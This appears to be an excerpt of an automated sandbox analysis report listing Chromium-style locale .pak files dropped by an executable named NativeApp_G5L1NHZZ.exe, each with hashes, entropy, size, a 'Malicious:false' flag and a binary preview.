                                                                                                                                                                                                                                                                SSDEEP:6144:U4ftEfqE2jv7ShUjBA59wjd558YAGKND9Gto8QV:U41HE2jjShqywjd558YAbNDcI
                                                                                                                                                                                                                                                                MD5:04A680847C4A66AD9F0A88FB9FB1FC7B
                                                                                                                                                                                                                                                                SHA1:2AFCDF4234A9644FB128B70182F5A3DF1EE05BE1
                                                                                                                                                                                                                                                                SHA-256:1CC44C5FBE1C0525DF37C5B6267A677F79C9671F86EDA75B6FC13ABF5D5356EB
                                                                                                                                                                                                                                                                SHA-512:3A8A409A3C34149A977DEA8A4CB0E0822281AED2B0A75B02479C95109D7D51F6FB2C2772CCF1486CA4296A0AC2212094098F5CE6A1265FA6A7EB941C0CFEF83E
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:......../...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w.........................................................................................#.....,.....9.....V.....d.........................................!.....?.....L.....X.....d.....o.....................................................".....4.....E.....{.......................................................................8.....O.....d.....{.................................................................H.....Z.....h.....................................................9.....<.....J.....X.....h.....w.................................................................!.....p.......................".....>.....s.....................................................&.....N.....n.........................................+.....5... .=...".N...%.u...(.....*.....+.....,.........../.....0.....1.H...3.V...4.s...5.....6.....7.....8.....9.....<."...=.,...>.A...?.I...@.[...A.....C.....D...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\da.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):396104
                                                                                                                                                                                                                                                                Entropy (8bit):5.454826678090317
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:Q3rSn4RJ28687mlwlGXaJwZkqEb1Phv6VP5yarXGzOJixhd4/TWwS:eND/xqkqEO5nrFTq
                                                                                                                                                                                                                                                                MD5:1A53D374B9C37F795A462AAC7A3F118F
                                                                                                                                                                                                                                                                SHA1:154BE9CF05042ECED098A20FF52FA174798E1FEA
                                                                                                                                                                                                                                                                SHA-256:D0C38EB889EE27D81183A0535762D8EF314F0FDEB90CCCA9176A0CE9AB09B820
                                                                                                                                                                                                                                                                SHA-512:395279C9246BD30A0E45D775D9F9C36353BD11D9463282661C2ABD876BDB53BE9C9B617BB0C2186592CD154E9353EA39E3FEED6B21A07B6850AB8ECD57E1ED29
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........[...h.....i.)...j.5...k.D...l.O...n.W...o.\...p.i...r.o...s.....t.....v.....w.....y.....z.....|.....}.........................................................................?.....M.....].....q.....y...........................................................4.....K.....R.....].....m.....t...........................................................5.....F.....u.............................................................................9.....T.....m.....w.....z................................................................./.....E.....k.............................................................................+.....2.....5.....6.....=.....F.....L.....S.....^.............................X.....n.......................................................................F.....[................................................... .....".....%.,...(.T...*.....+.....,.........../.....0.....1.....3.....4.%...5.=...6.o...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.%...C.B...D.L.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\de.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):424277
                                                                                                                                                                                                                                                                Entropy (8bit):5.503137231857292
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:TFigju3qg4wajEzUKnYm31SOmhqYl51gHNiOIkCJD:TFiecqg1aqHSOu599kCJD
                                                                                                                                                                                                                                                                MD5:8E6654B89ED4C1DC02E1E2D06764805A
                                                                                                                                                                                                                                                                SHA1:FF660BC85BB4A0FA3B2637050D2B2D1AECC37AD8
                                                                                                                                                                                                                                                                SHA-256:61CBCE9A31858DDF70CC9B0C05FB09CE7032BFB8368A77533521722465C57475
                                                                                                                                                                                                                                                                SHA-512:5AC71EDA16F07F3F2B939891EDA2969C443440350FD88AB3A9B3180B8B1A3ECB11E79E752CF201F21B3DBFBA00BCC2E4F796F347E6137A165C081E86D970EE61
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:............h.V...i.g...j.s...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.............#.....+.....3.....;.....B.....I.....P.....Q.....R.....T...........................................................$.....:.....<.....@.....h.....}.....................................................-.....Q.....d.....j.....s...............................................4.....K.....O.....R.....[.....t...................................D.....Q.....[.....c.....j.....p.....}...............................................0.....d.................................................................6.....O.....i.....p.....s.....t.....~...................................=...................................6.....?.....Q.....[.....h.....m.....r...................................(.....Y.....u.....{........................... .....".....%.....(.....*./...+.2...,.P.....a.../.w...0.....1.....3.....4.....5.....6.A...7.U...8.i...9.w...;.....<.....=.....>.....?.....@.....A.....C.....D.%.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\el.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):769050
                                                                                                                                                                                                                                                                Entropy (8bit):4.75072843480339
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:H/58dBquNw2202pgtZSWjZ4LIbsJvaP5A3HKQiEQBR07391qf2utKMaBlS9WffFR:H8BquNw2202pgtsWjyLrJvaRA3HtiEQG
                                                                                                                                                                                                                                                                MD5:9528D21E8A3F5BAD7CA273999012EBE8
                                                                                                                                                                                                                                                                SHA1:58CD673CE472F3F2F961CF8B69B0C8B8C01D457C
                                                                                                                                                                                                                                                                SHA-256:E79C1E7A47250D88581E8E3BAF78DCAF31FE660B74A1E015BE0F4BAFDFD63E12
                                                                                                                                                                                                                                                                SHA-512:165822C49CE0BDB82F3C3221E6725DAC70F53CFDAD722407A508FA29605BC669FB5E5070F825F02D830E0487B28925644438305372A366A3D60B55DA039633D7
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........M...h.....i.....j.....k.....l.(...n.0...o.5...p.B...r.H...s.Y...t.b...v.w...w.....y.....z.....|.....}.........................................................................P.....w.............................B.....N.....Z...................................+.....x...................................h.....y.............................&.....C.....a.................,.....4.....H.....o...................................!.....M.................8...............................................1....._.....w.................!.....2.....q.................J.....a.........................................,.....O.....|.........................................!.....3.....F.....^.......................,.................<.............................(.....;.....I.......................M.................T.................................../... .B...".e...%.....(.....*.7...+.:...,.X........./.....0.....1.m...3.....4.....5.#...6.....7.....8.....9. ...;.a...<.w...=.....>.....?.....@.....A.B...C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\en-GB.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):344606
                                                                                                                                                                                                                                                                Entropy (8bit):5.5169703217013675
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:80kjE55JcUnMP9egFXwqfaYnT9Xa5alSeBNdg:80kQJZnM1XwWT05YScg
                                                                                                                                                                                                                                                                MD5:D59E613E8F17BDAFD00E0E31E1520D1F
                                                                                                                                                                                                                                                                SHA1:529017D57C4EFED1D768AB52E5A2BC929FDFB97C
                                                                                                                                                                                                                                                                SHA-256:90E585F101CF0BB77091A9A9A28812694CEE708421CE4908302BBD1BC24AC6FD
                                                                                                                                                                                                                                                                SHA-512:29FF3D42E5D0229F3F17BC0ED6576C147D5C61CE2BD9A2E658A222B75D993230DE3CE35CA6B06F5AFA9EA44CFC67817A30A87F4FAF8DC3A5C883B6EE30F87210
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..........h.h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w...........................................................................................................3.....;.....E.....c.....t.....v.....z...........................................................+.....:.....T.....g.....k.....q...................................................................................,.....:.....S.....h.....{.......................................................................+.....5.....A.....X.....h.................................................................(.....=.....R.....f.....m.....p.....q.....x..................................................... .....P.....].....h.......................................................................-.....D.....l....................................... .....".....%.....(.....*.....+.....,./.....@.../.N...0.W...1.....3.....4.....5.....6.....7.....8.....9.(...;.9...<.A...=.L...>.a...?.i...@.x...A...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\en-US.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):347111
                                                                                                                                                                                                                                                                Entropy (8bit):5.508989875739037
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:xiLqIY2MuZYLMMP9ecGmM8faYdY4K55TiSbn8vMwS:xiLqIp34MM+mM0Y55eSKMwS
                                                                                                                                                                                                                                                                MD5:5E3813E616A101E4A169B05F40879A62
                                                                                                                                                                                                                                                                SHA1:615E4D94F69625DDA81DFAEC7F14E9EE320A2884
                                                                                                                                                                                                                                                                SHA-256:4D207C5C202C19C4DACA3FDDB2AE4F747F943A8FAF86A947EEF580E2F2AEE687
                                                                                                                                                                                                                                                                SHA-512:764A271A9CFB674CCE41EE7AED0AD75F640CE869EFD3C865D1B2D046C9638F4E8D9863A386EBA098F5DCEDD20EA98BAD8BCA158B68EB4BDD606D683F31227594
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..........:.h.....i.....j.*...k.9...l.D...n.L...o.Q...p.^...r.d...s.u...t.~...v.....w.....y.....z.....|.....}.........................................................................6.....C.....R.....b.....i.....r.................................................................#...........>.....E.....Q.....l.....~.................................................................2.....:.....F.....S.....W.....Z.....`.....p...................................................................................:.....A.....P...........................................................'.....5.....H.....K.....\.....l.....|...................................................................................E.....m.....t.......................................................................0.....I.....m......................................................... .....".....%.3...(.J...*.c...+.f...,.........../.....0.....1.....3.....4.....5.....6.J...7.Z...8.o...9.|...;.....<.....=.....>.....?.....@.....A...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\es-419.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):421147
                                                                                                                                                                                                                                                                Entropy (8bit):5.3798866108688905
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3072:34e5fql0vt1s9zjzVMY/6+yN9d8piKkGp2Ioiw/QbuOXV5blUB0GLF96RRIHKxgY:34e5Sktm92Yfhpjq+5wLF96oSdc4
                                                                                                                                                                                                                                                                MD5:7F6696CC1E71F84D9EC24E9DC7BD6345
                                                                                                                                                                                                                                                                SHA1:36C1C44404EE48FC742B79173F2C7699E1E0301F
                                                                                                                                                                                                                                                                SHA-256:D1F17508F3A0106848C48A240D49A943130B14BD0FEB5ED7AE89605C7B7017D1
                                                                                                                                                                                                                                                                SHA-512:B226F94F00978F87B7915004A13CDBD23DE2401A8AFAA2517498538967DF89B735F8ECC46870C92E3022CAC795218A60AD2B8FFF1EFAD9FEEA4EC193704A568A
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........b...h.&...i./...j.;...k.J...l.U...n.]...o.b...p.o...r.u...s.....t.....v.....w.....y.....z.....|.....}.........................................................................B.....T.....c.....x.................................................................I.....c.....k.....y............................................... .....%.....-.....?.....c.....t...........................................................2.....M.....d...............................................#.....6.....E.....W.....o.....w.........................................B.....N.....a.....m...........................................................$.....'.....(.....1.....:.....C.....J.....[.................2.....:.........................................+.....6.....?.....D.....]...................................@.....Y....._.....g.....u............... .....".....%.....(.....*.....+.....,.<.....b.../.....0.....1.....3.....4.....5.....6.[...7.m...8.....9.....;.....<.....=.....>.....?.....@.....A.1...C.X...D.b.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\es.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):421332
                                                                                                                                                                                                                                                                Entropy (8bit):5.349883254359391
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:fILAyMcQXU0+/3IgsC5pN+v6Idj3J5Orj7FQoz7L66PZqS:ALAyNQCsupUv6gj3J5OrmoznGS
                                                                                                                                                                                                                                                                MD5:A36992D320A88002697DA97CD6A4F251
                                                                                                                                                                                                                                                                SHA1:C1F88F391A40CCF2B8A7B5689320C63D6D42935F
                                                                                                                                                                                                                                                                SHA-256:C5566B661675B613D69A507CBF98768BC6305B80E6893DC59651A4BE4263F39D
                                                                                                                                                                                                                                                                SHA-512:9719709229A4E8F63247B3EFE004ECFEB5127F5A885234A5F78EE2B368F9E6C44EB68A071E26086E02AA0E61798B7E7B9311D35725D3409FFC0E740F3AA3B9B5
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........Z...h.....i.....j.*...k.9...l.D...n.L...o.Q...p.^...r.d...s.u...t.~...v.....w.....y.....z.....|.....}.........................................................................:.....M.....].....r...........................................................(.....G.....a.....i.....w.....................................................!.....).....;.....N....._.................................................................3.....S.....}............................................... .....-.....>.....V.....^.....o...................................5.....@.....J.....V.....h.............................................................................'.....0.....7.....H.................3.....;.........................................+.....6.....B.....G....._.........................................G.....M.....U.....c............... .....".....%.....(.....*.....+.....,.).....C.../.]...0.d...1.....3.....4.....5.....6.6...7.G...8.\...9.n...;.....<.....=.....>.....?.....@.....A.....C.1...D.;.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\et.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):380687
                                                                                                                                                                                                                                                                Entropy (8bit):5.464870724176939
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:2Mg++J/xRN0JLnrC4HFJbT/RauiQ/G5LjR43f7LQkPQW:2MmJnq7DG5LjQ
                                                                                                                                                                                                                                                                MD5:A94E1775F91EA8622F82AE5AB5BA6765
                                                                                                                                                                                                                                                                SHA1:FF17ACCDD83AC7FCC630E9141E9114DA7DE16FDB
                                                                                                                                                                                                                                                                SHA-256:1606B94AEF97047863481928624214B7E0EC2F1E34EC48A117965B928E009163
                                                                                                                                                                                                                                                                SHA-512:A2575D2BD50494310E8EF9C77D6C1749420DFBE17A91D724984DF025C47601976AF7D971ECAE988C99723D53F240E1A6B3B7650A17F3B845E3DAEEFAAF9FE9B9
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........m...h.<...i.M...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....:.....l.....|...............................................,.....B.....D.....H.....p.................................................................5.....B.....H.....P.....^.....m.....v.......................................................................-.....F.....Z.....o.......................................................................0.....=.....W.....e.................................................................-.....B.....V.....m.....t.....w.....x...............................................U.....[...............................................$.....).....,.....<.....b.....x.........................................$.....6.....O.....Z... .d...".w...%.....(.....*.....+.....,....... .../.8...0.E...1.n...3.y...4.....5.....6.....7.....8.....9.+...;.>...<.K...=.T...>.g...?.o...@.~...A.....C.....D...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\fa.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):622184
                                                                                                                                                                                                                                                                Entropy (8bit):5.029655615738747
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:Kxw5iX9nuyaXTfwHxwNUWGOGfStQEvy1zeItDmNtua/1wMTAKzIxRAQiHedNu36/:Kxw5YuyaXTfwRwNUWGOGfStQEvy1zeIR
                                                                                                                                                                                                                                                                MD5:9D273AF70EAFD1B5D41F157DBFB94FDC
                                                                                                                                                                                                                                                                SHA1:DA98BDE34B59976D4514FF518BD977A713EA4F2E
                                                                                                                                                                                                                                                                SHA-256:319D1E20150D4E3F496309BA82FCE850E91378EE4B0C7119A003A510B14F878B
                                                                                                                                                                                                                                                                SHA-512:0A892071BEA92CC7F1A914654BC4F9DA6B9C08E3CB29BB41E9094F6120DDC7A08A257C0D2B475C98E7CDCF604830E582CF2A538CC184056207F196FFC43F29AD
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:............h.z...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|."...}.4.....<.....A.....I.....Q.....Y.....`.....g.....n.....p.....u.............................,.....5.....].....k.....u...................................A.....p.....v...................................E.....`.........................................T.....y.....................................................8.....W.......................+.....F.....N.....V.....].....g.....x.............................+.....B....._.............................3.....B.....\.....r.........................................-.....J.....Q.....T.....e.....v.....................................................s............................./.....7.....J.....V.....b.......................$.....J.....w...................................G.....Z... .m...".....%.....(.....*.(...+.+...,.I.....m.../.....0.....1.....3.....4.+...5._...6.....7.....8.....9.G...;.W...<.i...=.}...>.....?.....@.....A.....C.V...D.}...E...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\fi.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):389118
                                                                                                                                                                                                                                                                Entropy (8bit):5.427253181023048
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:nEbM+RtZ9eC6cMkohGZxGseSFOE/xaWEkLl5W5ucHiEi18OWUcrOShPGNgX1wL2:V+/upPgZxaS5W5xHiEi18OWUsU2
                                                                                                                                                                                                                                                                MD5:D4B776267EFEBDCB279162C213F3DB22
                                                                                                                                                                                                                                                                SHA1:7236108AF9E293C8341C17539AA3F0751000860A
                                                                                                                                                                                                                                                                SHA-256:297E3647EAF9B3B95CF833D88239919E371E74CC345A2E48A5033EBE477CD54E
                                                                                                                                                                                                                                                                SHA-512:1DC7D966D12E0104AACB300FD4E94A88587A347DB35AD2327A046EF833FB354FD9CBE31720B6476DB6C01CFCB90B4B98CE3CD995E816210B1438A13006624E8F
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:............h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.(...|.....}.@.....H.....M.....U.....].....e.....l.....s.....z.....{.....|...........................................................$....._.....x.....z.....~.....................................................7.....E.....R.....f.....v.....|...........................................................".....,.....2.....Q.....j.................................................................&.....3.....H.....N.....V...............................................!.....-.....>.....O.....R.....`.....r.............................................................................9.............................,.....?.....h.....w...........................................................5.....X............................................. .....".....%.....(.3...*.S...+.V...,.t........./.....0.....1.....3.....4.....5.6...6.p...7.....8.....9.....;.....<.....=.....>.....?.#...@.B...A.z...C.....D.....E...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\fil.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):438088
                                                                                                                                                                                                                                                                Entropy (8bit):5.195613019166525
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:2zHaVyEDQV5aZrU+5xeuhGjZ3ZmA58Pm+7JATvy8:2zNMdU4XA5Imb
                                                                                                                                                                                                                                                                MD5:3165351C55E3408EAA7B661FA9DC8924
                                                                                                                                                                                                                                                                SHA1:181BEE2A96D2F43D740B865F7E39A1BA06E2CA2B
                                                                                                                                                                                                                                                                SHA-256:2630A9D5912C8EF023154C6A6FB5C56FAF610E1E960AF66ABEF533AF19B90CAA
                                                                                                                                                                                                                                                                SHA-512:3B1944EA3CFCBE98D4CE390EA3A8FF1F6730EB8054E282869308EFE91A9DDCD118290568C1FC83BD80E8951C4E70A451E984C27B400F2BDE8053EA25B9620655
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..........].h.....i.....j.....k.....l.....n.....o.....p.&...r.,...s.=...t.F...v.[...w.h...y.n...z.}...|.....}...........................................................................................5.....<.....E.....d.....l.....y...................................................../.....E.....O.....^.....................................................".....8.......................................................................%.....J.....d.....~.................................................................+.....h.....q.....}...................................&.....4.....I.....o.....r................................................................. .....*.....5.....>.....O.................(.....0.................................................................,.....R.....l.............................6.....=.....H.....Y............... .....".....%.....(.....*.....+.....,.*.....B.../.W...0.`...1.....3.....4.....5.....6.....7.3...8.O...9.d...;.}...<.....=.....>.....?.....@.....A...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\fr.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):454982
                                                                                                                                                                                                                                                                Entropy (8bit):5.385096169417585
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:07bju28t6QuagV1ZztzYpZ4MYnYM/LDBW5Mx0q20wCbKZL3wfzkCh1f/5FEs6rYr:6JVzbf55Z
                                                                                                                                                                                                                                                                MD5:0BF28AFF31E8887E27C4CD96D3069816
                                                                                                                                                                                                                                                                SHA1:B5313CF6B5FBCE7E97E32727A3FAE58B0F2F5E97
                                                                                                                                                                                                                                                                SHA-256:2E1D413442DEF9CAE2D93612E3FD04F3AFAF3DD61E4ED7F86400D320AF5500C2
                                                                                                                                                                                                                                                                SHA-512:95172B3B1153B31FCEB4B53681635A881457723CD1000562463D2F24712267B209B3588C085B89C985476C82D9C27319CB6378619889379DA4FAE1595CB11992
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........>...h.....i.....j.....k.....l.....n.....o."...p./...r.5...s.F...t.O...v.d...w.q...y.w...z.....|.....}...........................................................................................1.....<.....E.....g.....s.....{.....................................................+.....<.....I.....W..............................................."...........j.......................................................................,.....M.....p.......................................................................T.....b.....l.........................................+.....:.....R.....U.....l...................................................................................[.......................$.....9.....N.................................................................X.........................................$.....E.....O... .[...".t...%.....(.....*.....+.....,.........../.#...0.1...1.n...3.....4.....5.....6.....7.....8.4...9.J...;.]...<.k...=.}...>.....?.....@.....A.....C.(...D.:.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\gu.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):879149
                                                                                                                                                                                                                                                                Entropy (8bit):4.32399215971305
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3072:Xz2UMY57hmdUoITsKMaWZKerbtsMhmksd4M+0+z20QmuOAl5VpvoxWnhygfZw/gQ:D2UMY57h9w4MSbsp5cLhdKE8
                                                                                                                                                                                                                                                                MD5:7B5F52F72D3A93F76337D5CF3168EBD1
                                                                                                                                                                                                                                                                SHA1:00D444B5A7F73F566E98ABADF867E6BB27433091
                                                                                                                                                                                                                                                                SHA-256:798EA5D88A57D1D78FA518BF35C5098CBEB1453D2CB02EF98CD26CF85D927707
                                                                                                                                                                                                                                                                SHA-512:10C6F4FAAB8CCB930228C1D9302472D0752BE19AF068EC5917249675B40F22AB24C3E29EC3264062826113B966C401046CFF70D91E7E05D8AADCC0B4E07FEC9B
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........N...h.....i.....j.$...k.3...l.>...n.F...o.K...p.X...r.^...s.o...t.x...v.....w.....y.....z.....|.....}.............................................................................................................T.....l.................'.....).....5.....].......................4.....S.....i.............................l.................................................................'.....k.....t.....w.............................a.................;.....[.....n.....v.....}.......................+.....:.....f.......................X.....y...........].....s...................................6.....X.....w...............................................-.....L.....c....................... .....B.................Q.............................3.....?.....K.....}...................................o.............................3.....[... .a...".....%.....(.....*.g...+.j...,.........../.....0.....1.~...3.....4.....5.....6.[...7.....8.....9.....;.Q...<.h...=.....>.....?.....@.....A.D...C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\he.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):544193
                                                                                                                                                                                                                                                                Entropy (8bit):4.6265566170608325
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:DczykRrlOUmTU2/S9iyBZ60DAf1X2VeQCap4M52QoLpMzu5flmd9DnwWHQgZ:+F55VoQ
                                                                                                                                                                                                                                                                MD5:6D787DC113ADFB6A539674AF7D6195DB
                                                                                                                                                                                                                                                                SHA1:F966461049D54C61CDD1E48EF1EA0D3330177768
                                                                                                                                                                                                                                                                SHA-256:A976FAD1CC4EB29709018C5FFCC310793A7CEB2E69C806454717CCAE9CBC4D21
                                                                                                                                                                                                                                                                SHA-512:6748DAD2813FC544B50DDEA0481B5ACE3EB5055FB2D985CA357403D3B799618D051051B560C4151492928D6D40FCE9BB33B167217C020BDCC3ED4CAE58F6B676
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........)...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.%...v.:...w.G...y.M...z.\...|.b...}.t.....|.............................................................................2.....K.....^.....w.....................................................4.....O.....f.....y.............................%.....:....._.....r.....z...................................9.....A.....K.....g...............................................C.....m............................................... .....<.....d.....n...................................2.....}...................................!.....$.....7.....N.....a.....y................................................................._.........../.....9.............................".....:.....@.....L.....].....e.............................$....._............................................. .1...".L...%.}...(.....*.....+.....,.........../.....0.....1.W...3.l...4.....5.....6.....7.....8.1...9.E...;.Z...<.t...=.....>.....?.....@.....A.B...C.u.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\hi.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):921748
                                                                                                                                                                                                                                                                Entropy (8bit):4.3093889077968495
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3072:zGFGsUtYgPLdROwJgdkFSvf4QAEm5dmGhsYK/GR3TX4/NMdpqdYnLsuFQdXPtg8y:zGEAgT/Zu5J57JtK
                                                                                                                                                                                                                                                                MD5:1766A05BE4DC634B3321B5B8A142C671
                                                                                                                                                                                                                                                                SHA1:B959BCADC3724AE28B5FE141F3B497F51D1E28CF
                                                                                                                                                                                                                                                                SHA-256:0EEE8E751B5B0AF1E226106BEB09477634F9F80774FF30894C0F5A12B925AC35
                                                                                                                                                                                                                                                                SHA-512:FAEC1D6166133674A56B5E38A68F9E235155CC910B5CCEB3985981B123CC29EDA4CD60B9313AB787EC0A8F73BF715299D9BF068E4D52B766A7AB8808BD146A39
                                                                                                                                                                                                                                                                Malicious:false
